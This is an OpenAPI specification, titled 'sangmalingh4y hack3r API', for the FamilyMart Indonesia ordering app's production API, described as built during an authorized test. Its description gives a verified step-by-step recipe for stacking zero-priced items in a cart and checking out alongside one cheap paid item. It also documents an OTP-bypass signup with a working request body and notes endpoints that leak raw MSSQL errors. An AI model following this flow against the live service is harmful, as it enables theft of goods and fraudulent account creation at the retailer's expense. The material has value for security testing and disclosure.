{ "openapi": "3.0.3", "info": { "title": "sangmalingh4y hack3r API", "version": "1.5.1", "description": "Unofficial API collection for the sangmalingh4y hack3r app (com.familymart.famigo, v1.5.1), built during an authorized test.\nBase: https://famigo.familymartindonesia.com (all requests need Authorization: Bearer and, for order/product, X-FamiApp-Store-Code).\n\nFlow for the free-item behaviour (verified):\n 1) Sign in (folder 1) -> token saved.\n 2) Set {{store_code}} to a real store (folder 2).\n 3) GET /product/v1/category and pick the items whose basic_price is \"0\" (19 items, see free_items.json).\n 4) For each free barcode POST /order/v1/cart/item (folder 4). Repeat the call to stack more of the same item (qty is clamped to 1 per request).\n 5) Add one paid item (min Rp 2,800 water barcode 21029585) - a pure Rp 0 cart is rejected at checkout.\n 6) POST /order/v1/checkout (folder 5)." }, "servers": [ { "url": "https://famigo.familymartindonesia.com", "description": "Production Server" } ], "components": { "securitySchemes": { "BearerAuth": { "type": "http", "scheme": "bearer", "bearerFormat": "JWT" }, "StoreCodeHeader": { "type": "apiKey", "in": "header", "name": "X-FamiApp-Store-Code" } } }, "paths": { "/account/v1/auth/signin": { "post": { "tags": [ "1. Auth" ], "summary": "Sign in (phone + PIN)", "description": "Login. NOTE: username must keep the leading '+' (e.g. +6285282137890), otherwise 400. Access JWT is auto-saved to {{token}}.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "username": "+{{phone}}", "password": "{{pin}}" } } } } } } }, "/account/v1/auth/signup": { "post": { "tags": [ "1. Auth" ], "summary": "Sign up (OTP BYPASS - arbitrary otp_id)", "description": "VULN #3: otp_id is not validated and otp_code is optional -> creates a real account + returns working tokens for a phone that never received an OTP. Fields: pin, pin_confirm, phone, country_code, otp_id, lucky_day.", "parameters": [], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "otp_id": "01ZZZZZZZZZZZZZZZZZZZZZZZZZ", "pin": "123456", "pin_confirm": "123456", "phone": "81234500011", "country_code": "62", "lucky_day": "2000-01-01" } } } } } } }, "/account/v1/auth/refresh": { "post": { "tags": [ "1. Auth" ], "summary": "Refresh token", "description": "Exchange refresh token for a new access token.", "parameters": [], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "refresh_token": "{{refresh_token}}" } } } } } } }, "/account/v1/store/nearest": { "post": { "tags": [ "2. Store" ], "summary": "Nearest stores (search)", "description": "Returns up to 591 stores. Use store_code value for X-FamiApp-Store-Code.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "search": "FamilyMart", "page": 1, "per_page": 50 } } } } } } }, "/account/v1/store/pickup/time": { "get": { "tags": [ "2. Store" ], "summary": "Store pickup times", "description": "VULN #6: returns raw MSSQL error text on failure (e.g. with store_code JJK01).", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/product/v1/category": { "get": { "tags": [ "3. Catalog" ], "summary": "Category + product groups", "description": "All 58 product groups. Items with basic_price \"0\" are the 19 free items.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/product/v1/product-group/FG017": { "get": { "tags": [ "3. Catalog" ], "summary": "Product group detail", "description": "Item list of a group (barcode, basic_price, is_oos, type_product, variants, addons).", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/product/v1/favorite": { "get": { "tags": [ "3. Catalog" ], "summary": "Favourite products", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/order/v1/cart": { "get": { "tags": [ "4. Cart" ], "summary": "Get cart", "description": "Cart header+lines. cart_id is saved to {{cart_id}}.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/cart/item": { "post": { "tags": [ "4. Cart" ], "summary": "Add item - Oden (variant group code)", "description": "Oden/FG096: with product_group_code=FG096 the API returns 400 'Minimum pembelian belum tercapai'. Using the variant group code (ODEN_ALA_CARTE) is accepted. UNVERIFIED whether a real line is created (the line comes back empty).", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "store_code": "{{store_code}}", "product_group_code": "ODEN_ALA_CARTE", "listing_type": "FOOD", "items": [ { "barcode": "2710001211968", "qty": 1, "type_product": "SPICY_EOMUK", "options": [], "addons": [] } ] } } } } } }, "put": { "tags": [ "4. Cart" ], "summary": "Set item qty (PUT - fake success)", "description": "VERIFIED NO-OP: returns {\"code\":200,\"status\":\"success\"} but changes nothing in the cart - the qty, total and even a non-existent cart_h_id are all accepted with 200. Do not rely on it.", "parameters": [ { "name": "id", "in": "query", "schema": { "type": "string", "default": "{{cart_h_id}}" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "qty": 1 } } } } } }, "delete": { "tags": [ "4. Cart" ], "summary": "Remove cart line (app call - UNVERIFIED)", "description": "The app's own removal call: the APK contains the route pattern 'order/v1/cart/item?id=' plus a 'clearCart' action, so the removal method is the destructive one on this route with id=.\nVERIFIED NEGATIVES (this could not be triggered from the test environment, destructive HTTP verbs are blocked there): GET -> 404, PATCH -> 404, POST -> treated as ADD (adds lines), PUT -> 200 but no effect. There is therefore NO verified way to remove a single cart line; the cart only clears after checkout.", "parameters": [ { "name": "id", "in": "query", "schema": { "type": "string", "default": "{{cart_h_id}}" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/cart/store": { "patch": { "tags": [ "4. Cart" ], "summary": "Set cart store", "description": "POST/PUT are decoys; only PATCH works. Does NOT clear or re-price existing lines.", "parameters": [ { "name": "code", "in": "query", "schema": { "type": "string", "default": "{{store_code}}" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/order/v1/checkout": { "post": { "tags": [ "5. Checkout" ], "summary": "Checkout", "description": "Creates the order (QRIS). A cart of ONLY Rp 0 items is rejected ('total transaksi kamu saat ini Rp 0') -> keep >=1 paid item. sales_id/doc_number are saved.\nPAYMENT STEP: the 200 response already contains data.qr_number - an EMVCo QRIS string that the customer pays with any e-wallet/bank app. There is NO further API call to 'pay': scanning the QRIS advances the order server-side. Related: GET /payment/v1/payment/payment-method-default?tenderId=, payment-method-user, account-pre-link-execute, account-link-execute, check-unlink-execute.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "cart_id": "{{cart_id}}", "pickup_date": "{{pickup_date}}", "pickup_time": "{{pickup_time}}", "tender_id": "MAS" } } } } } } }, "/order/v1/checkout/voucher": { "post": { "tags": [ "5. Checkout" ], "summary": "Apply checkout voucher", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "cart_id": "{{cart_id}}", "coupon_code": "" } } } } } } }, "/order/v1/sales/history": { "get": { "tags": [ "6. Orders" ], "summary": "Sales history", "description": "VULN #7 evidence: order with 35 Rp 0 units shows items=38, total=8400.", "parameters": [ { "name": "page", "in": "query", "schema": { "type": "string", "default": "1" } }, { "name": "per_page", "in": "query", "schema": { "type": "string", "default": "25" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/sales/detail": { "get": { "tags": [ "6. Orders" ], "summary": "Sales detail", "description": "Param is id= (not sales_id/doc_number). products[] carries the Rp 0 lines (unit_price null/0).", "parameters": [ { "name": "id", "in": "query", "schema": { "type": "string", "default": "{{sales_id}}" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/store-fulfill/order-status": { "get": { "tags": [ "6. Orders" ], "summary": "Order status (store fulfill)", "description": "", "parameters": [ { "name": "id", "in": "query", "schema": { "type": "string", "default": "{{sales_id}}" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/sales/rating": { "post": { "tags": [ "6. Orders" ], "summary": "Sales rating", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "sales_id": "{{sales_id}}", "rating": 5, "review": "" } } } } } } }, "/order/v1/sales/leader-board": { "get": { "tags": [ "6. Orders" ], "summary": "Leader board", "description": "", "parameters": [ { "name": "page", "in": "query", "schema": { "type": "string", "default": "1" } }, { "name": "per_page", "in": "query", "schema": { "type": "string", "default": "30" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/voucher": { "get": { "tags": [ "7. Voucher" ], "summary": "My vouchers", "description": "New/throwaway accounts get data:null -> no welcome voucher is granted.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/voucher/history": { "get": { "tags": [ "7. Voucher" ], "summary": "Voucher history", "description": "", "parameters": [ { "name": "coupon_type", "in": "query", "schema": { "type": "string", "default": "2" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/order/v1/voucher/claim": { "post": { "tags": [ "7. Voucher" ], "summary": "Claim voucher", "description": "Point vouchers are checked server-side (400 'butuh 5, kamu punya 0').", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "coupon_id": "Paket_Ice_Tea_Point_1", "coupon_type": 2 } } } } } } }, "/order/v1/voucher/redemption": { "post": { "tags": [ "7. Voucher" ], "summary": "Voucher redemption", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": { "coupon_id": "", "coupon_type": 0 } } } } } } }, "/notification/v1/notification": { "get": { "tags": [ "8. Notification" ], "summary": "Notification list", "description": "VULN #6: type_id=1|2 -> raw MSSQL error.", "parameters": [ { "name": "type_id", "in": "query", "schema": { "type": "string", "default": "1" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/notification/v1/notification/read-all": { "post": { "tags": [ "8. Notification" ], "summary": "Notification read-all", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "example": {} } } } } } }, "/notification/v1/chat/counter": { "get": { "tags": [ "8. Notification" ], "summary": "Chat counter", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/payment/v1/payment/payment-method-default": { "get": { "tags": [ "9. Payment" ], "summary": "Default payment method (tender)", "description": "Tender ids: MAS(QRIS), CASHLESS etc.", "parameters": [ { "name": "tenderId", "in": "query", "schema": { "type": "string", "default": "MAS" } }, { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/payment/v1/payment/payment-method-user": { "get": { "tags": [ "9. Payment" ], "summary": "User payment methods", "description": "", "parameters": [ { "name": "X-FamiApp-Tender-ID", "in": "header", "required": true, "schema": { "type": "string", "default": "MAS" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } } } }, "/payment/v1/payment/default-existing-payment": { "get": { "tags": [ "9. Payment" ], "summary": "Existing payment", "description": "", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/payment/v1/payment/account-link-execute": { "post": { "tags": [ "9. Payment" ], "summary": "Link e-wallet (execute)", "description": "Links a third-party wallet to the account (server-side consent flow).", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/payment/v1/payment/account-pre-link-execute": { "post": { "tags": [ "9. Payment" ], "summary": "Link e-wallet (pre-check)", "description": "Pre-check executed before linking a wallet.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } }, "/payment/v1/payment/check-unlink-execute": { "post": { "tags": [ "9. Payment" ], "summary": "Unlink check", "description": "Checks whether a linked wallet can be unlinked.", "parameters": [ { "name": "X-FamiApp-Store-Code", "in": "header", "required": true, "schema": { "type": "string", "default": "{{store_code}}" } } ], "responses": { "200": { "description": "Successful response" }, "400": { "description": "Bad Request / Validation Error" }, "401": { "description": "Unauthorized / Token Expired" } }, "security": [ { "BearerAuth": [] } ] } } } }